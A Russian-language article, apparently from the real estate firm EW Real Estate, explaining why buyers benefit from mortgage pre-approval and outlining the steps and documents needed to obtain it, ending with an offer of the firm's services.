Существует множество причин, дающих определенные выгоды тому, кто имеет предварительно одобренную ипотеку. Во-первых, продавцы будут знать, что вы серьезно заинтересованы в покупке и готовы действовать. На конкурентном рынке включение в оферту письма о предварительно одобренной ипотеке поможет выбить из гонки других заинтересованных покупателей (конечно, за исключением тех, кто готов оплатить покупку полностью собственными средствами). Фактически, продавцы часто запрашивают письмо с предварительным одобрением ото всех заинтересованных покупателей, которым для покупки недвижимости нужна ипотека.

Предварительное одобрение также поможет вам сфокусировать поиск на объектах именно вашего ценового диапазона. Таким образом, вы сразу узнаете, по карману ли вам предстоящая покупка.

Как получить предварительное одобрение ипотеки для покупки недвижимости?

Несколько простых шагов помогут вам завершить процесс предварительного одобрения:

— предоставьте корректную информацию кредитору, чтобы последний мог оценить вашу благонадежность;

— предоставьте брокеру и кредитору все документы, позволяющие оценить ваш уровень доходов, надежность и текущую кредитную нагрузку. В зависимости от суммы кредита, которую вы рассчитываете получить, в «копилку» постоянных доходов могут включаться активы и депозиты;

— пройдите оценку кредитора. Для этого вам нужно показать, что ваша финансовая история чиста и что у вас есть реальные возможности для погашения кредитов. Имейте в виду, что кредитор имеет право провести собственную оценку выбранной недвижимости.

Ваш брокер предоставит полный перечень документов, входящих в пакет. Но, как правило, обязательными будут справка, подтверждающая ежемесячные доходы и расходы, а также документ, подтверждающий наличие собственных средств для первоначального взноса. Вы должны быть готовы, что процесс рассмотрения документов для предварительного одобрения ипотеки займет до двух-трех недель, но в конечном итоге вы будете рады, что начали этот процесс заранее, особенно когда найдете дом вашей мечты, который не захотите упустить.

Если у вас остались вопросы – обращайтесь к специалистам компании EW Real Estate; одна из наших услуг – помочь вам найти лучший ипотечный кредит.